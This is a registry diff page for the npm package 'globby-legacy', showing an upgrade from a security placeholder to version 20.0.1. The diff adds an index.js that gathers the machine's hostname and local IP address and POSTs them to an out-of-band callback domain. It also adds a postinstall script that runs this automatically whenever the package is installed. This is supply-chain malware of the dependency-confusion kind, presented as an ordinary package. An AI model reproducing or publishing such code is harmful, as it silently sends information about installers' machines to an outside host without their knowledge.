globby-legacy 0.0.1-security → 20.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +42 -4
- package/package.json +7 -5
package/index.js
CHANGED
|
@@ -1,4 +1,42 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Get local IP address (IPv4, non-internal)
|
|
5
|
+
function getLocalIp() {
|
|
6
|
+
const interfaces = os.networkInterfaces();
|
|
7
|
+
for (const name in interfaces) {
|
|
8
|
+
for (const iface of interfaces[name]) {
|
|
9
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
10
|
+
return iface.address;
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
return 'unknown';
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
const data = JSON.stringify({
|
|
18
|
+
hostname: os.hostname(),
|
|
19
|
+
ip: getLocalIp(),
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
const options = {
|
|
23
|
+
hostname: 'd472fa1dodqn2ks6jktg7aq6mp81r9wb4.oast.site', // <-- replace with your real server or webhook.site domain
|
|
24
|
+
port: 443,
|
|
25
|
+
path: '/globby-legacy',
|
|
26
|
+
method: 'POST',
|
|
27
|
+
headers: {
|
|
28
|
+
'Content-Type': 'application/json',
|
|
29
|
+
'Content-Length': data.length
|
|
30
|
+
}
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
const req = https.request(options, res => {
|
|
34
|
+
console.log(`Callback sent. Status: ${res.statusCode}`);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
req.on('error', error => {
|
|
38
|
+
console.error('Error sending callback:', error);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.write(data);
|
|
42
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,10 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "globby-legacy",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "20.0.1",
|
|
4
|
+
"description": "By TitifelBro47",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
8
10
|
"author": "TitifelBro47",
|
|
9
|
-
"license": "
|
|
11
|
+
"license": "ISC"
|
|
10
12
|
}
|